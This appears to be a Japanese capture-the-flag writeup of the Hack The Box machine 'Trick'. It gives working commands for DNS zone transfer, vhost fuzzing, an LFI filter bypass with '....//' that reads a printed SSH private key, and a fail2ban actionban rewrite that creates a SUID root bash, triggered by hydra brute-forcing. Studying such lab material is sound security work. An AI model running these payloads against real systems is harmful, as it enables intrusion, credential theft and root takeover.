コンテンツにスキップ

HTB Trick writeup

Hack The Box の許可された隔離ラボのみを対象とする、教育目的の技術 Writeup。

Trick は、公開 BIND のゾーン転送と nginx の仮想ホストずれを入口にする Linux Easy Box である。preprod-payroll.trick.htb から SQL ダンプでアプリケーション認証情報を取り、ホスト名パターン preprod-* の列挙で preprod-marketing.trick.htb に進む。marketing 側の index.php?page= は Local File Inclusion(LFI)で、../ を1回除去するフィルタは nested traversal(....//)で回避できる。michael の SSH 秘密鍵を読んでユーザーシェルを取り、security グループによる /etc/fail2ban/action.d への書き込み(既存ファイルは unlink して置換)と sudo での fail2ban 再起動、sshd jail の actionban 発火で root の SUID シェルに到達する。

ItemValue
BoxTrick
PlatformHack The Box
OSDebian 10(OpenSSH 7.9p1 Debian 10+deb10u2、カーネル 4.19.0-20-amd64)
DifficultyEasy
operator
|
| nmap + DNS AXFR @10.129.227.180
v
trick.htb (nginx Coming Soon) + preprod-payroll.trick.htb
|
| /database/payroll.sql
v
payroll app login Enemigosss:SuperGucciRainbowCake
|
| Host: preprod-FUZZ.trick.htb
v
preprod-marketing.trick.htb
|
| LFI index.php?page=....// (nested traversal)
v
/home/michael/.ssh/id_rsa
|
| SSH public-key auth
v
michael (groups: michael, security)
|
| sudo NOPASSWD: /etc/init.d/fail2ban restart
| unlink+replace group-writable action.d/iptables-multiport.conf
| actionban + SSH auth failures (sshd jail)
v
root via SUID /tmp/pwnshell -p
  • Hostname / 仮想ホスト: trick.htb、preprod-payroll.trick.htb、preprod-marketing.trick.htb

/etc/hosts:

10.129.227.180 trick.htb preprod-payroll.trick.htb preprod-marketing.trick.htb

nmap:

ターミナルウィンドウ
nmap -sS -A -p- --min-rate 10000 10.129.227.180
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
25/tcp open smtp?
|_smtp-commands: Couldn't establish connection on port 25
53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid:
|_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open http nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

見るべき点:

  • 53/tcp に外部向け BIND がある。ゾーン転送(AXFR)と DNS 列挙が先。
  • 80/tcp は nginx の Coming Soon テンプレート。ディレクトリ列挙より仮想ホストの方が本命。
  • 22/tcp は認証情報または鍵が揃うまで触らない。
  • 25/tcp は banner は出るが、本筋の入口にはならなかった。
  • OS は Debian 10 系。後の fail2ban / sshd jail の既定配置と整合する。

Coming Soon ページは Start Bootstrap の未設定フォーム(API_TOKEN)で、静的アセット以外は出てこない。feroxbuster も css / js / assets のみである。

Host: FUZZ.trick.htb の仮想ホスト推測もヒットしない。これは「vhost が無い」ではなく、後で分かる preprod-payroll のような複合名が wordlist に一行で入っていないためである。

SMTP は手動接続できる。

ターミナルウィンドウ
nc -nv 10.129.227.180 25
220 debian.localdomain ESMTP Postfix (Debian/GNU)
501 Syntax: EHLO hostname
501 5.5.4 Syntax: VRFY address [SMTPUTF8]
502 5.5.2 Error: command not recognized

ユーザー列挙には使えない。DNS を先に潰す。

ターミナルウィンドウ
dig axfr trick.htb @10.129.227.180
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.

preprod-payroll.trick.htb がゾーンに載っている。A レコードが 127.0.0.1 なのはターゲット上の BIND の話で、攻撃側は /etc/hosts で 10.129.227.180 に向ける。SOA の root.trick.htb は管理者メール表記であり、ユーザー名ではない。

通常の ANY / NS クエリだけでは CNAME は出ない。AXFR を省略するとこのホスト名を落とす。

http://preprod-payroll.trick.htb/ は 302 location: login.php と同時に、ダッシュボード HTML も返す。ブラウザは Location を追うのでログイン画面になる。curl はデフォルトでリダイレクトを追わないので、未ログインのまま Employee List などが見える。認証チェックが出力後に exit していないだけであり、ログイン成功ではない。

タイトルは Admin | Employee's Payroll Management System。ログインフォームは ajax.php?action=login に username / password を POST する。

ターミナルウィンドウ
curl -s http://preprod-payroll.trick.htb/login.php | grep -iE 'form|action|username|password|ajax'
<form id="login-form" >
<input type="text" id="username" name="username" class="form-control">
<input type="password" id="password" name="password" class="form-control">
url:'ajax.php?action=login',

admin:admin は失敗で 3 を返す(このアプリは失敗を数字で返す)。

ターミナルウィンドウ
curl -i -X POST 'http://preprod-payroll.trick.htb/ajax.php?action=login' \
-d 'username=admin&password=admin'
HTTP/1.1 200 OK
...
3

feroxbuster が /database を 301 で拾う。ディレクトリ直読みは 403(autoindex なし)だが、中のオブジェクトは直接リクエストできる。汎用 common.txt に payroll は入っていないため、拡張子付き brute だけでは外れやすい。ホスト名とアプリ名から作った語に .sql を付けると当たる。

ターミナルウィンドウ
printf '%s\n' payroll employee employees users user admin database db dump backup sql trick enemigosss > target-words.txt
ffuf -u http://preprod-payroll.trick.htb/database/FUZZ -w target-words.txt -e .sql,.php,.bak,.txt,.zip -ac

または次のように探し当てることもできる。

ターミナルウィンドウ
$ feroxbuster -u http://preprod-payroll.trick.htb/database/ \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
-x sql,php,bak,txt,zip -d 0 -n
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.13.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://preprod-payroll.trick.htb/database
🚩 In-Scope Url │ preprod-payroll.trick.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.13.1
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [sql, php, bak, txt, zip]
🏁 HTTP methods │ [GET]
🚫 Do Not Recurse │ true
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 7l 12w 169c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 7l 12w 185c http://preprod-payroll.trick.htb/database => http://preprod-payroll.trick.htb/database/
200 GET 424l 1315w 10883c http://preprod-payroll.trick.htb/database/payroll.sql
payroll.sql [Status: 200, Size: 10883]
ターミナルウィンドウ
curl -s http://preprod-payroll.trick.htb/database/payroll.sql

ユーザー表は平文1件だけである。

INSERT INTO `users` (`id`, `doctor_id`, `name`, `address`, `contact`, `username`, `password`, `type`) VALUES
(1, 0, 'Administrator', '', '', 'Enemigosss', 'SuperGucciRainbowCake', 1);
ターミナルウィンドウ
curl -i -X POST 'http://preprod-payroll.trick.htb/ajax.php?action=login' \
-d 'username=Enemigosss&password=SuperGucciRainbowCake'
HTTP/1.1 200 OK
...
1

1 はログイン成功。ダンプのアカウントは生きている。同じパスワードで Enemigosss / enemigosss / admin の SSH は Permission denied になる。payroll は資格情報ソースとしてはここで閉じ、ホスト名の preprod- プレフィックスを別 vhost に使う。

ゾーン転送に載っていない名前でも、nginx の server_name には存在し得る。最初の Host: FUZZ.trick.htb では複合名を拾えないので、観測済みプレフィックスを固定する。

ターミナルウィンドウ
ffuf -u http://10.129.227.180/ \
-H 'Host: preprod-FUZZ.trick.htb' \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-fs 5480 -ac
marketing [Status: 200, Size: 9660, Words: 3007, Lines: 179]

5480 はデフォルト Coming Soon のサイズ。preprod-marketing.trick.htb は TemplateMo 549 Business Oriented で、メニューがファイル名を page に渡している。

<a class="nav-link tm-nav-link" href="index.php?page=services.html">Services</a>
<a class="nav-link tm-nav-link" href="index.php?page=about.html">About</a>
<a class="nav-link tm-nav-link" href="index.php?page=contact.html">Contact</a>

contact.html は直接 200 で取れる。ルーティングは PHP の include 側にある。

ターミナルウィンドウ
curl -s -o /dev/null -w '%{http_code} %{size_download}\n' \
'http://preprod-marketing.trick.htb/index.php?page=about.html'
curl -s -o /dev/null -w '%{http_code} %{size_download}\n' \
'http://preprod-marketing.trick.htb/index.php?page=doesnotexist.html'
200 13272
200 0

存在しないファイルが 200 / 0 bytes なのは、ログイン壁ではなく include 失敗に見える。素のトラバーサルと絶対パス、PHP ラッパーは空である。

ターミナルウィンドウ
curl -s 'http://preprod-marketing.trick.htb/index.php?page=../../../../etc/passwd'
curl -s 'http://preprod-marketing.trick.htb/index.php?page=/etc/passwd'
curl -s 'http://preprod-marketing.trick.htb/index.php?page=php://filter/convert.base64-encode/resource=index.php'

nested traversal は通る。

ターミナルウィンドウ
curl -s 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//etc/passwd'
root:x:0:0:root:/root:/bin/bash
...
michael:x:1001:1001::/home/michael:/bin/bash

str_replace('../', '', $page) のような非再帰除去だと、....// の内側の ../ を消した残りが ../ になる。入力 ../../../../etc/passwd は全部消されて相対の etc/passwd になる。これが PortSwigger の nested traversal sequences である。

OS ユーザー michael のホームから SSH 鍵を読む。

ターミナルウィンドウ
curl -s 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//home/michael/.ssh/id_rsa'
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAwI9YLFRKT6JFTSqPt2/+7mgg5HpSwzHZwu95Nqh1Gu4+9P+ohLtz
c4jtky6wYGzlxKHg/Q5ehozs9TgNWPVKh+j92WdCNPvdzaQqYKxw4Fwd3K7F4JsnZaJk2G
YQ2re/gTrNElMAqURSCVydx/UvGCNT9dwQ4zna4sxIZF4HpwRt1T74wioqIX3EAYCCZcf+
4gAYBhUQTYeJlYpDVfbbRH2yD73x7NcICp5iIYrdS455nARJtPHYkO9eobmyamyNDgAia/
Ukn75SroKGUMdiJHnd+m1jW5mGotQRxkATWMY5qFOiKglnws/jgdxpDV9K3iDTPWXFwtK4
1kC+t4a8sQAAA8hzFJk2cxSZNgAAAAdzc2gtcnNhAAABAQDAj1gsVEpPokVNKo+3b/7uaC
DkelLDMdnC73k2qHUa7j70/6iEu3NziO2TLrBgbOXEoeD9Dl6GjOz1OA1Y9UqH6P3ZZ0I0
+93NpCpgrHDgXB3crsXgmydlomTYZhDat7+BOs0SUwCpRFIJXJ3H9S8YI1P13BDjOdrizE
hkXgenBG3VPvjCKiohfcQBgIJlx/7iABgGFRBNh4mVikNV9ttEfbIPvfHs1wgKnmIhit1L
jnmcBEm08diQ716hubJqbI0OACJr9SSfvlKugoZQx2Iked36bWNbmYai1BHGQBNYxjmoU6
IqCWfCz+OB3GkNX0reINM9ZcXC0rjWQL63hryxAAAAAwEAAQAAAQASAVVNT9Ri/dldDc3C
aUZ9JF9u/cEfX1ntUFcVNUs96WkZn44yWxTAiN0uFf+IBKa3bCuNffp4ulSt2T/mQYlmi/
KwkWcvbR2gTOlpgLZNRE/GgtEd32QfrL+hPGn3CZdujgD+5aP6L9k75t0aBWMR7ru7EYjC
tnYxHsjmGaS9iRLpo79lwmIDHpu2fSdVpphAmsaYtVFPSwf01VlEZvIEWAEY6qv7r455Ge
U+38O714987fRe4+jcfSpCTFB0fQkNArHCKiHRjYFCWVCBWuYkVlGYXLVlUcYVezS+ouM0
fHbE5GMyJf6+/8P06MbAdZ1+5nWRmdtLOFKF1rpHh43BAAAAgQDJ6xWCdmx5DGsHmkhG1V
PH+7+Oono2E7cgBv7GIqpdxRsozETjqzDlMYGnhk9oCG8v8oiXUVlM0e4jUOmnqaCvdDTS
3AZ4FVonhCl5DFVPEz4UdlKgHS0LZoJuz4yq2YEt5DcSixuS+Nr3aFUTl3SxOxD7T4tKXA
fvjlQQh81veQAAAIEA6UE9xt6D4YXwFmjKo+5KQpasJquMVrLcxKyAlNpLNxYN8LzGS0sT
AuNHUSgX/tcNxg1yYHeHTu868/LUTe8l3Sb268YaOnxEbmkPQbBscDerqEAPOvwHD9rrgn
In16n3kMFSFaU2bCkzaLGQ+hoD5QJXeVMt6a/5ztUWQZCJXkcAAACBANNWO6MfEDxYr9DP
JkCbANS5fRVNVi0Lx+BSFyEKs2ThJqvlhnxBs43QxBX0j4BkqFUfuJ/YzySvfVNPtSb0XN
jsj51hLkyTIOBEVxNjDcPWOj5470u21X8qx2F3M4+YGGH+mka7P+VVfvJDZa67XNHzrxi+
IJhaN0D5bVMdjjFHAAAADW1pY2hhZWxAdHJpY2sBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

公開鍵コメントは michael@trick。

鍵をファイルに保存し、権限を絞って SSH する。

ターミナルウィンドウ
chmod 600 michael.key
ssh -i ./michael.key michael@trick.htb
Linux trick 4.19.0-20-amd64 #1 SMP Debian 4.19.235-1 (2022-03-17) x86_64
michael@trick:~$ hostname
trick
michael@trick:~$ id
uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)

ユーザーシェルは michael。user.txt の値は記録なし。次の手がかりは補助グループ security である。

ターミナルウィンドウ
sudo -l
Matching Defaults entries for michael on trick:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User michael may run the following commands on trick:
(root) NOPASSWD: /etc/init.d/fail2ban restart
ターミナルウィンドウ
find / -group security -perm -g=w -printf '%M %u %g %p\n' 2>/dev/null
drwxrwx--- root security /etc/fail2ban/action.d

fail2ban-server は root で動いている。sudo restart で root が action 定義を読み直す。ただし action.d のディレクトリ write と、中の .conf のファイル write は別である。

drwxrwx--- 2 root security action.d
-rw-r--r-- 1 root root action.d/*.conf

既存ファイルは 644 のため上書き保存できない。sticky bit が無いので、ディレクトリ write があれば所有していないファイルでも unlink できる。

有効 jail は Debian 既定どおり sshd で、既定 banaction は iptables-multiport である。

ターミナルウィンドウ
cat /etc/fail2ban/jail.d/defaults-debian.conf
[sshd]
enabled = true
banaction = iptables-multiport
action = %(action_)s
bantime = 10s
findtime = 10s
maxretry = 5

短い findtime / maxretry / bantime は、sshd の認証失敗で actionban をすぐ発火させるための値である。actionstart にコマンドを足して restart しただけでは走らない。Fail2Ban 0.10 系は最初の ban まで start を遅延することがあり、iptables -N が既存 chain で失敗すると後続行にも到達しない。

.local による実行時マージだけでは、今回の試行では actionban が発火しなかった。参照されている本体を置換する。

対象ホスト上で iptables-multiport.conf をコピーし、actionban だけ差し替える(状態変更)。

#actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>
actionban = cp /bin/bash /tmp/pwnshell; chmod 4777 /tmp/pwnshell
ターミナルウィンドウ
rm /etc/fail2ban/action.d/iptables-multiport.conf
cp /tmp/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf
sudo /etc/init.d/fail2ban restart
[ ok ] Restarting fail2ban (via systemctl): fail2ban.service.

ignorself のため、Box 内からの localhost 失敗では ban されない。攻撃側 VPN から、10 秒以内に 5 回以上のパスワード失敗を送る。直列の ssh は 2 回目のパスワード待ちで窓を超える。hydra のような並列失敗が条件に入る。

ターミナルウィンドウ
hydra -l nosuchuser -P /usr/share/wordlists/rockyou.txt -f ssh://trick.htb
-rwsrwxrwx 1 root root 1168776 Aug 22 18:54 /tmp/pwnshell
ターミナルウィンドウ
/tmp/pwnshell -p
cd /root
ls -la
cat root.txt
pwnshell-5.0# cat root.txt
[REDACTED]

/tmp/pwnshell -p は SUID bash の実効 UID を root のままにする。/root には root.txt のほか f2b.sh、fail2ban/、set_dns.sh が見える。中身の確認は記録なし。

  • trick.htb 本体の Coming Soon と深いディレクトリ brute。静的テンプレートだけだった。
  • Host: FUZZ.trick.htb および Host: FUZZ.preprod-payroll.trick.htb。複合名 preprod-* は拾えない。
  • SMTP VRFY / EXPN。情報は出ない。
  • payroll の admin:admin。応答 3 は失敗。
  • Enemigosss:SuperGucciRainbowCake の SSH 再利用。パスワード認証は拒否される。
  • payroll の index.php?page=。拡張子なしの画面名であり、LFI の兆候は marketing 側より弱い。認証と SQL ダンプの方が情報量が多い。
  • common.txt だけの /database/ brute。アプリケーション固有名 payroll.sql は入っていない。
  • marketing の見た目や About 文言の深読み。入力点は page= である。
  • action.d に未参照の新規 action を置く、.conf の丸コピー .local、actionstart + restart だけ。参照されている iptables-multiport の actionban と、窓に入る SSH 失敗が必要だった。
  • fail2ban ログ /var/log/fail2ban.log は root のみで、michael からは読めない。
対象元の状態変更後戻し方検証
/etc/fail2ban/action.d/iptables-multiport.confroot:root 644、actionban は iptablesunlink 後に michael 所有の改変ファイル(SUID bash 作成)退避コピーを戻し、所有者を root:root に戻して sudo /etc/init.d/fail2ban restart未確認
/etc/fail2ban/action.d/iptables-multiport.local無しactionban = touch /tmp/pwn 等を作成ファイル削除未確認
/tmp/pwnshell無し-rwsrwxrwx root の bash コピーrm /tmp/pwnshell未確認
/tmp/iptables-multiport.conf(ターゲット上の作業コピー)無し改変済み conf削除未確認
sshd jail による攻撃者 IP の ban無しbantime 10s の一時 ban時間経過で解除記録なし
payroll PHPSESSID無しログイン成功セッション期限切れ記録なし
取得した michael SSH 秘密鍵(攻撃側)無し鍵ファイルとして保存作業終了後に削除未確認

fail2ban の conf を戻したあとは、sshd jail が通常の iptables ban に戻っていることを確認する。検証結果は未確認。

項目入手元所属初回利用結果
Enemigosss / SuperGucciRainbowCakehttp://preprod-payroll.trick.htb/database/payroll.sql の userspayroll アプリ Administratorajax.php?action=login応答 1。SSH では拒否
michael SSH 秘密鍵marketing LFI ....//home/michael/.ssh/id_rsaOS ユーザー michaelssh -iユーザーシェル
michael 公開鍵コメント michael@trick同 LFI の id_rsa.pub / authorized_keysmichaelユーザー確認/etc/passwd と一致

フラグ:

  • user.txt: 記録なし(michael シェルは確認済み)
  • root.txt: /root/root.txt = [REDACTED]

成果物:

  • /database/payroll.sql(phpMyAdmin ダンプ、平文パスワード)
  • /home/michael/.ssh/id_rsa
  • /tmp/pwnshell(root SUID bash、後始末対象)
  • 外部公開 BIND に対するゾーン転送(AXFR)と、HTTP Host ファズの違い
  • nginx 仮想ホストと DNS ゾーンは別インベントリであること
  • ターゲット固有語 + 拡張子によるファイル発見(ディレクトリ 403 の下)
  • Sourcecodester 系 PHP の ajax.php?action=login と平文ダンプ
  • index.php?page=ファイル名 を include と読むこと
  • nested traversal(....//)による非再帰 ../ 除去の回避
  • LFI から ~/.ssh/id_rsa へ進むこと
  • ディレクトリ write(sticky 無し)は unlink を許すこと。ファイル 644 とは別
  • fail2ban の jail → banaction → action.d/*.conf → actionban の参照
  • actionstart(起動)と actionban(ログ閾値)の発火条件、findtime / maxretry / ignorself
  • SUID bash の -p で実効 root を維持すること

入口は「開いている 80」ではなく「開いている 53」だった。Host ヘッダ brute が空でも、BIND が答えを持っていることがある。逆に AXFR が完全な nginx インベントリでもない。preprod-payroll からプレフィックスを固定した再列挙が、ゾーンに無い preprod-marketing を拾った。

パラメータ名が同じでも、page=home と page=about.html では実装の仮説が違う。拡張子付きの実ファイル名を渡している側を LFI の主攻にする。空の ../../ と成功した ....// を並べると、フィルタが「禁止文字列の1回除去」だと証明できる。

権限昇格は「書き込めるディレクトリに何か置く」ではなく、root プロセスが読む名前付きファイルを、いつ走るフックごと差し替える作業だった。.local が正規の overlay でも、動かなければ unlink + 置換で同じ名前を奪う。sudo できるのが restart だけでも、sshd jail の actionban と短い findtime があれば外部イベントで root コードを実行できる。